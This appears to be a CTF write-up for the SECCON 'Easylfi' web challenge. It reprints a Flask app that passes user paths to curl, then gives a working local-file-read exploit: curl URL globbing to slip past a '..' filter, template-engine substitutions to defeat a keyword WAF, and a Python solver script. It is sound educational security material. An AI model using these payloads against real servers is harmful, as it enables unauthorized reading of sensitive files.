Posts Easylfi
Post
Cancel

Easylfi

I solved some web challenges with my idol ginoah. The challenges are awesome!

Description:

Can you read my secret?

The goal is to LFI /flag.txt

This flask app use curl to get a local file

This is server-side challenge.

You access the server:

If you submit test, the server redirects to /hello.html?%7Bname%7D=test:

Source code (web/app.py ):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from flask import Flask, request, Response
import subprocess
import os

app = Flask(__name__)


def validate(key: str) -> bool:
    # E.g. key == "{name}" -> True
    #      key == "name"   -> False
    if len(key) == 0:
        return False
    is_valid = True
    for i, c in enumerate(key):
        if i == 0:
            is_valid &= c == "{"
        elif i == len(key) - 1:
            is_valid &= c == "}"
        else:
            is_valid &= c != "{" and c != "}"
    return is_valid


def template(text: str, params: dict[str, str]) -> str:
    # A very simple template engine
    for key, value in params.items():
        if not validate(key):
            return f"Invalid key: {key}"
        text = text.replace(key, value)
    return text


@app.after_request
def waf(response: Response):
    if b"SECCON" in b"".join(response.response):
        return Response("Try harder")
    return response


@app.route("/")
@app.route("/<path:filename>")
def index(filename: str = "index.html"):
    if ".." in filename or "%" in filename:
        return "Do not try path traversal :("

    try:
        proc = subprocess.run(
            ["curl", f"file://{os.getcwd()}/public/{filename}"],
            capture_output=True,
            timeout=1,
        )
    except subprocess.TimeoutExpired:
        return "Timeout"

    if proc.returncode != 0:
        return "Something wrong..."
    return template(proc.stdout.decode(), request.args)

The goal is stealing a flag from /flag.txt.

Solution

Step 1: path traversal

The server uses curl to read files:

proc = subprocess.run(
    ["curl", f"file://{os.getcwd()}/public/{filename}"],
    capture_output=True,
    timeout=1,
)

Unfortunately, path traversal to /flag.txt is prevented:

if ".." in filename or "%" in filename:
    return "Do not try path traversal :("

By the way, curl has a feature of URL globbing, and you can access multiple resources at the same time. You can bypass the above defense using this feature:

1
2
3
4
5
6
7
8
9
10
$ http "http://localhost:3000/.{.}/.{.}/flag.txt"
HTTP/1.1 200 OK
Connection: close
Content-Length: 10
Content-Type: text/html; charset=utf-8
Date: Sat, 05 Nov 2022 12:09:18 GMT
Server: Werkzeug/2.2.2 Python/3.10.8

Try harder

However, the following WAF hides the flag response:

1
2
3
4
5
6
@app.after_request
def waf(response: Response):
    if b"SECCON" in b"".join(response.response):
        return Response("Try harder")
    return response

Step 2: bypassing WAF

The server returns a response after the following process:

return template(proc.stdout.decode(), request.args)

The implementation of the template engine is as follows:

def validate(key: str) -> bool:
    # E.g. key == "{name}" -> True
    #      key == "name"   -> False
    if len(key) == 0:
        return False
    is_valid = True
    for i, c in enumerate(key):
        if i == 0:
            is_valid &= c == "{"
        elif i == len(key) - 1:
            is_valid &= c == "}"
        else:
            is_valid &= c != "{" and c != "}"
    return is_valid


def template(text: str, params: dict[str, str]) -> str:
    # A very simple template engine
    for key, value in params.items():
        if not validate(key):
            return f"Invalid key: {key}"
        text = text.replace(key, value)
    return text

Is it possible to show the flag string without SECCON by abusing this template engine?

The first important point is that validate("{") is True. You can bypass it with this bug and URL globbing.

Example payload:

  • URL: file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
  • params:
   {
    "{name}": "{",
    "{": "}{",
    "{!</h1>\n</body>\n</html>\n--_curl_--file:///app/public/../../flag.txt\nSECCON}": ""
}

The process in the template engine is as follows.

The initial state:

1
2
3
4
5
6
7
8
... snip ...
<body>
  <h1>Hello, {name}!</h1>
</body>
</html>
--_curl_--file:///app/public/../../flag.txt
SECCON{real_flag}

"{name}" → "{":

1
2
3
4
5
6
7
8
... snip ...
<body>
  <h1>Hello, {!</h1>
</body>
</html>
--_curl_--file:///app/public/../../flag.txt
SECCON{real_flag}

"{" → "}{":

1
2
3
4
5
6
7
8
... snip ...
<body>
  <h1>Hello, }{!</h1>
</body>
</html>
--_curl_--file:///app/public/../../flag.txt
SECCON}{real_flag}

"{!</h1>\n</body>\n</html>\n--_curl_--file:///app/public/../../flag.txt\nSECCON}" → "":

1
2
3
4
... snip ...
<body>
  <h1>Hello, }{real_flag}

Solver

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import os
import httpx

BASE_URL = f"http://easylfi.seccon.games:3000"

res = httpx.get(
    BASE_URL + "/{.}./{.}./{app/public/hello.html,flag.txt}",
    params={
        "{name}": "{",
        "{": "}{",
        "{!</h1>\n</body>\n</html>\n--_curl_--file:///app/public/../../flag.txt\nSECCON}": "",
    },
)

print("SECCON" + res.text.split("<h1>Hello, }")[1])

Credit to

This post is licensed under CC BY 4.0 by the author.
...